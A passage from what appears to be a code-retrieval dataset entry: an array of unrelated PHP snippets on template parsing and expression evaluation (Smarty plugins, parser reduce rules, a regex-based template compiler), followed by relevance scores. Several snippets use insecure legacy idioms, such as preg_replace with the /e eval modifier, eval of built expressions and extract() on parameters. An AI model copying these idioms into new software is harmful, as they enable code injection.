$face=array(\"=\",\">\",\"<\",\">=\",\"<=\");\n $val=array(\"=\",\">\",\"<\",\">=\",\"<=\");\n }\n else if ($class==\"likestr\")\n {\n $val=array(\"equals\",\"like\",\"ilike\",\"starts_with\",\"ends_with\");\n $face=array(\"Equals\",\"Like\",\"ILike\",\"Starts With\",\"Ends With\");\n }\n $selected=(isset($params[\"selected\"]) and isset($_REQUEST[$params[\"selected\"]]))?$_REQUEST[$params[\"selected\"]]:\"\";\n $select_arr=array(\"output\"=>$face,\"values\"=>$val,\"name\"=>$params[\"name\"],\"selected\"=>$selected);\n if(isset($params[\"id\"]))\n $select_arr[\"id\"]=$params[\"id\"];\n return smarty_function_html_options($select_arr,$smarty);\n}", "function yy_accept()\r\n {\r\n if (self::$yyTraceFILE) {\r\n fprintf(self::$yyTraceFILE, \"%sAccept!\\n\", self::$yyTracePrompt);\r\n }\r\n while ($this->yyidx >= 0) {\r\n $stack = $this->yy_pop_parser_stack();\r\n }\r\n /* Here code is inserted which will be executed whenever the\r\n ** parser accepts */\r\n#line 52 \"smarty_internal_templateparser.y\"\r\n\r\n $this->successful = !$this->internalError;\r\n $this->internalError = false;\r\n $this->retvalue = $this->_retvalue;\r\n //echo $this->retvalue.\"\\n\\n\";\r\n#line 2606 \"smarty_internal_templateparser.php\"\r\n }", "public function getExpression(): string\n {\n if ($this->wrapMode > 0) {\n return ($this->wrapMode === static::WRAP_IN_TAGS ? '<?php ' : '<?= ') . $this->expression . ' ?>';\n }\n\n return $this->expression;\n }", "function smarty_function_separate( $params, &$smarty )\r\n{\r\n extract($params);\r\n\r\n\treturn implode( \", \", $params );\r\n}", "public function &getExpressions();", "private function _Parsing($template)\n {\n // ДИРЕКТИВЫ\n // Literal\n preg_match_all(\"~{literal}(.+?){/literal}~si\", $template, $match);\n foreach ($match[0] as $key => $val)\n {\n $template = str_replace($val, \"<LITERAL{$key}LITERAL>\", $template);\n }\n\n // подключение шаблонов директивой инклуде {инклуде \"дирнаме/филенаме\"}\n $template = preg_replace_callback(self::PATTERN_INCLUDE, [$this, '_Parsing_Include'], $template);\n // парсинг языковых конструкций\n $template = preg_replace_callback(self::PATTERN_TRANSLATION1, [$this, '_Parsing_Translation1'], $template);\n $template = preg_replace_callback(self::PATTERN_TRANSLATION2, [$this, '_Parsing_Translation2'], $template);\n // парсинг плагинов\n $template = preg_replace_callback(self::PATTERN_PLUGIN, [$this, '_Parsing_Controller'], $template);\n //\n\n // Вырезаем служебные комментарии\n $template = preg_replace('~{#(.*?)#}~s', '', $template);\n\n //\tциклы и логика\n $template = preg_replace('~{((foreach|for|while|if|switch|case|default) .+?)}~si', '<' . '?php $1 { ?' . '>', $template);\n $template = preg_replace('~{(/|/foreach|/for|/while|/if|/switch|/case|/default)}~si', '<' . '?php } ?' . '>', $template);\n $template = preg_replace('~{else if (.+?)}~si', '<' . '?php } else if $1 { ?' . '>', $template);\n $template = preg_replace('~{else}~si', '<' . '?php } else { ?' . '>', $template);\n $template = preg_replace('~{(break|continue)}~si', '<' . '?php $1; ?' . '>', $template);\n //\tпеременные установка\n $template = preg_replace('~{set ([^}]{1,255})}~si', '<' . '?php $1; ?' . '>', $template);\n\n //\tпеременные вывод\n $template = preg_replace('~{(\\$[^}]{1,255})}~si', '<' . '?php echo $1; ?' . '>', $template);\n //\tфункции и константы\n $template = preg_replace('~{([a-z]{1}[^}]{0,150})}~si', '<' . '?php echo $1; ?' . '>', $template);\n\n // Literal\n foreach ($match[1] as $key => $val)\n {\n $template = str_replace(\"<LITERAL{$key}LITERAL>\", trim($val), $template);\n }\n\n // ////\tпеременные вывод\n // $template = preg_replace('~([^{]?){(\\$[^}]{1,255})}([^}]?)~si', '$1<' . '?php echo $2; ?' . '>$3', $template);\n // ////\tфункции и константы\n // $template = preg_replace('~([^{]?){([a-z]{1}[^}]{0,150})}([^}]?)~si', '$1<' . '?php echo $2; ?' . '>$3', $template);\n\n //\n return $template;\n }", "public static function tokenise($expr) {\n $comparison_operators = array(SC_Survey_Flow::CO_EQUAL, SC_Survey_Flow::CO_NOT_EQUAL, SC_Survey_Flow::CO_LT, SC_Survey_Flow::CO_GT, SC_Survey_Flow::CO_LTET, SC_Survey_Flow::CO_GTET);\n\n // Get literals\n $arr = explode(SC_Survey_Flow::LITERAL, $expr);\n $is_literal = FALSE;\n $tokens_all = [];\n foreach ($arr as $l) {\n if (strlen($l) > 0) {\n if ($is_literal !== FALSE) {\n $tokens_all[] = SC_Survey_Flow::LITERAL . $l. SC_Survey_Flow::LITERAL;\n } else { //Not a literal\n //divide into tokens (including comparison expressions)\n $l = str_replace(SC_Survey_Flow::LO_NOT, ' ' . SC_Survey_Flow::LO_NOT . ' ', $l);\n $l = str_replace(SC_Survey_Flow::LO_AND, ' ' . SC_Survey_Flow::LO_AND . ' ', $l);\n $l = str_replace(SC_Survey_Flow::LO_OR, ' ' . SC_Survey_Flow::LO_OR . ' ', $l);\n $l = str_replace(SC_Survey_Flow::OPEN_PAREN, ' ' . SC_Survey_Flow::OPEN_PAREN . ' ', $l);\n $l = str_replace(SC_Survey_Flow::CLOSE_PAREN, ' ' . SC_Survey_Flow::CLOSE_PAREN . ' ', $l);\n $l = str_replace(SC_Survey_Flow::CO_EQUAL, ' ' . SC_Survey_Flow::CO_EQUAL . ' ', $l);\n $l = str_replace(SC_Survey_Flow::CO_LT, ' ' . SC_Survey_Flow::CO_LT . ' ', $l);\n $l = str_replace(SC_Survey_Flow::CO_GT, ' ' . SC_Survey_Flow::CO_GT . ' ', $l);\n $l = str_replace(' < > ', ' ' . SC_Survey_Flow::CO_NOT_EQUAL . ' ', $l);\n $l = str_replace(' < = ', ' ' . SC_Survey_Flow::CO_LTET . ' ', $l);\n $l = str_replace(' > = ', ' ' . SC_Survey_Flow::CO_GTET . ' ', $l);\n $l = trim($l);\n $l = preg_replace('/\\s+/', ' ', $l); //remove all whitespace\n $toks = explode(' ', $l);\n foreach($toks as $t) {\n $tokens_all[] = $t;\n }\n }\n $is_literal = !$is_literal;\n }\n }\n\n //Combine comparison expressions\n $tokens = [];\n for ($i = 0; $i < count($tokens_all); $i++) {\n if (\n $i < count($tokens_all) - 2 &&\n in_array($tokens_all[$i + 1], $comparison_operators)\n ) {\n $tokens[] = $tokens_all[$i].$tokens_all[$i+1].$tokens_all[$i+2];\n $i+=2;\n } else {\n $tokens[] = $tokens_all[$i];\n }\n }\n\n return $tokens;\n }", "function evaluateDateVariables($expr) {\n\t\t// Note that parse_str turns + into a space, so turn it back\n\t\t$base = str_replace(\"%2B\",\"+\",$expr);\n\t\t//echo \"base=\".$base.\"<br/>\";\n\t\t// for dates\n\t\t// expecting {reference}, +/-, number, unit \n\t\t// eg {now}+3d or {now}-1y\n\t\t// Can I have fractions of a number? {now}-1.5m?\n\t\t//sscanf($base, \"{%[a-z]}%d%s\", $reference, $number, $unit);\n\t\tsscanf($base, \"{%[a-z]}%f%s\", $reference, $number, $unit);\n\t\t//echo \"ref=$reference number=$number unit=$unit<br/>\";\n\t\tswitch ($reference) {\n\t\t\tcase \"yearend\":\n\t\t\t\t$baseTimeStamp = mktime(0, 0, 0, 12, 31, date(\"Y\")+1);\n\t\t\t\tbreak;\n\t\t\t// v3.5 If you want to get any date that matches today's day part.\n\t\t\t// But this probably doesn't happen here.\n\t\t\tcase \"day\":\n\t\t\t\t$built = date('d'); //$db->SQLDate('d');\n\t\t\t\t// You don't want to do anything else with this\n\t\t\t\treturn $built;\n\t\t\t\tbreak;\n\t\t\tcase \"now\":\n\t\t\tdefault:\n\t\t\t\t// In case DateTime is too experimental\n\t\t\t\t//$baseTimeStamp = new DateTime();\n\t\t\t\t// Sometimes you will have passed a triggerDate, which is used instead of now\n\t\t\t\tif ($this->timeStamp) {\n\t\t\t\t\t$baseTimeStamp = $this->timeStamp;\n\t\t\t\t} else {\n\t\t\t\t\t$baseTimeStamp = time();\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t\tswitch ($unit) {\n\t\t\tcase \"h\":\n\t\t\t\t// In case date_add is too experimental\n\t\t\t\t//$built = date('Y-m-d', date_add($baseTimeStamp, new DateInterval(\"P$numberD\")));\n\t\t\t\t$built = date('Y-m-d', $baseTimeStamp + ($number * 3600)); // seconds in an hour\n\t\t\t\tbreak;\n\t\t\tcase \"d\":\n\t\t\t\t//$built = date('Y-m-d', date_add($baseTimeStamp, new DateInterval(\"P$numberD\")));\n\t\t\t\t$built = date('Y-m-d', $baseTimeStamp + ($number * 86400)); // seconds in a day\n\t\t\t\tbreak;\n\t\t\tcase \"w\":\n\t\t\t\t$built = date('Y-m-d', $baseTimeStamp + ($number * 604800)); // seconds in a week - on average\n\t\t\t\tbreak;\n\t\t\tcase \"m\":\n\t\t\t\t//$built = date('Y-m-d', date_add($baseTimeStamp, new DateInterval(\"P$numberM\")));\n\t\t\t\t$built = date('Y-m-d', $baseTimeStamp + ($number * 2629744)); // seconds in a month - on average\n\t\t\t\tbreak;\n\t\t\tcase \"y\":\n\t\t\t\t//$built = date('Y-m-d', date_add($baseTimeStamp, new DateInterval(\"P$numberM\")));\n\t\t\t\t$built = date('Y-m-d', $baseTimeStamp + ($number * 31556926)); // seconds in a year - on average\n\t\t\t\tbreak;\n\t\t\tcase \"f\": // delivery frequency unit for emus. It is the number of days.\n\t\t\t\t// The trouble is that we don't know the delivery frequency until we read the account record.\n\t\t\t\t// But I think I should be able to make a query that includes it...\n\t\t\t\tif (isset($this->deliveryFrequency)) {\n\t\t\t\t\t$built = date('Y-m-d', $baseTimeStamp + ($number * intval($this->deliveryFrequency) * 86400)); // multiples of the f days\n\t\t\t\t} else {\n\t\t\t\t\t$built = $expr; // leave the calculation until later\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$built = date('Y-m-d', $baseTimeStamp);\n\t\t}\n\t\t//echo \"becomes=$built<br/>\";\n\t\treturn $built;\n\t}", "public function compile($expression, Scope $scope) {\n $expression = trim($expression, '{} ');\n\n /**\n * We forbid any function calls inside expressions.\n */\n if(preg_match('/[\\(\\)]/', $expression) === 1) {\n throw new InvalidExpressionException(\n 'Expression contains one or both of forbidden characters: \"()\"!'\n );\n }\n \n $expressionOperators = '/[^' . preg_quote('+-/*!=&|?:<>%,\\'\"', '/') . ']+/';\n\n preg_match_all($expressionOperators, $expression, $expressionMatches);\n \n /**\n * I no special operators found just replace access string with value.\n */\n if(isset($expressionMatches[0][0]) && $expressionMatches[0][0] === $expression) {\n $renderedExpression = $scope->getData($expression);\n } else {\n /**\n * Check each expression we can replace.\n */\n foreach($expressionMatches[0] as $expressionMatch) {\n $expressionMatch = trim($expressionMatch);\n\n\n /**\n * If we can replace it with data - do this and format variable if required for later eval.\n */\n if(is_numeric($expressionMatch) === false) {\n $expression = str_replace($expressionMatch, var_export($scope->getData($expressionMatch), true), $expression);\n }\n }\n $renderedExpression = $this->evalaluate($expression);\n }\n\n return $renderedExpression;\n }", "protected function parseExpressionElement(\\SimpleXMLElement $node) {\n\t\t\t$attributes = $node->attributes();\n\t\t\t$expression = $this->__valueOf($node[0]);\n\t\t\t$value = null;\n\t\t\t/*\n\t\t\t@eval('$value = ' . $expression . ';');\n\t\t\tif (isset($attributes['type'])) {\n\t\t\t\t$type = $this->__valueOf($attributes['type']);\n\t\t\t\tif (!Spring\\Data\\XML\\Syntax::isPrimitiveType($type)) {\n\t\t\t\t\tthrow new Throwable\\Instantiation\\Exception('Unable to initial class.');\n\t\t\t\t}\n\t\t\t\tif (!isset($value)) {\n\t\t\t\t\t$type = 'NULL';\n\t\t\t\t\t$value = null;\n\t\t\t\t}\n\t\t\t\t$value = Core\\Convert::changeType($value, $type);\n\t\t\t}\n\t\t\t*/\n\t\t\treturn $value;\n\t\t}", "public function expression() {\n\t\t$ret = '';\n\t\t$first = true;\n\t\tforeach($this->children as $child) {\n\t\t\tif(!$first) {\n\t\t\t\t$ret .= '+';\n\t\t\t} else {\n\t\t\t\t$first = false;\n\t\t\t}\n\n\t\t\tif($this->precedence() > $child->precedence()) {\n\t\t\t\t$ret .= \"(\" . $child->expression() . \")\";\n\t\t\t} else {\n\t\t\t\t$ret .= $child->expression();\n\t\t\t}\n\t\t}\n\t\treturn $ret;\n\t}", "public function getExpression() {\n return $this->expression;\n }", "function yy_r170(){ $this->_retvalue = new Stmt\\Expr('value', trim($this->yystack[$this->yyidx + 0]->minor, \"'\\\"\"), 1); }", "public function parse_template($template, $vars = array())\n\t{\n\t\t$this->EE->load->library('template_helper');\n\t\treturn $this->EE->template_helper->fetch_and_parse($template, $vars); \n\t}", "function yy_r148(){$this->_retvalue = '||'; }", "function _parse() {\n $txt = $this->_text;\n for($i=0; $i<count($txt); $i++) {\n $txt[$i] = preg_replace(\"@[{]([^}]+)[}]@e\", \"''.\\$this->_insert(\\\"\\\\1\\\").''\",$txt[$i]);\n }\n return join(\"\",$txt);\n }", "protected function compileEach(string $expression): string\n {\n return \"<?php echo \\$__env->renderEach{$expression}; ?>\";\n }", "function yy_r66(){ $this->_retvalue = str_replace(array('.\"\".','\"\".','.\"\"'),array('.','',''),'\"'.$this->yystack[$this->yyidx + -1]->minor.'\"'); }" ]
[ "0.6305037", "0.6119669", "0.6000647", "0.59854615", "0.58775485", "0.5877029", "0.58535665", "0.5852666", "0.58371985", "0.5828926", "0.57965106", "0.57577276", "0.5756273", "0.5744102", "0.5658441", "0.5651948", "0.5642252", "0.5639928", "0.56305933", "0.560453", "0.55780935", "0.5572361", "0.5565618", "0.5500885", "0.5486019", "0.54570657", "0.5449849", "0.5438869", "0.5428608", "0.5420004", "0.53920966", "0.538862", "0.5374203", "0.5360394", "0.53155226", "0.5299611", "0.5291001", "0.52430874", "0.5240989", "0.5233724", "0.5230824", "0.5199495", "0.51901466", "0.51887375", "0.5180188", "0.5171455", "0.5166165", "0.51540565", "0.51482534", "0.514488", "0.51430756", "0.51401865", "0.51362735", "0.5128809", "0.51060647", "0.50949943", "0.50902253", "0.50879675", "0.50875294", "0.5085074", "0.508189", "0.5078111", "0.5074307", "0.5058354", "0.50578266", "0.5053148", "0.5051756", "0.504881", "0.5043797", "0.5041009", "0.5037485", "0.5029647", "0.5029647", "0.5010376", "0.50006473", "0.49979162", "0.49896803", "0.4989216", "0.49886614", "0.49871755", "0.4982018", "0.49698305", "0.49661544", "0.49636775", "0.4960243", "0.4957225", "0.49497727", "0.4938979", "0.49380735", "0.4934366", "0.49342412", "0.49333897", "0.49302366", "0.49286947", "0.49245408", "0.49209", "0.49177352", "0.49137276", "0.4911056", "0.49043146", "0.49025545" ]
0.0
-1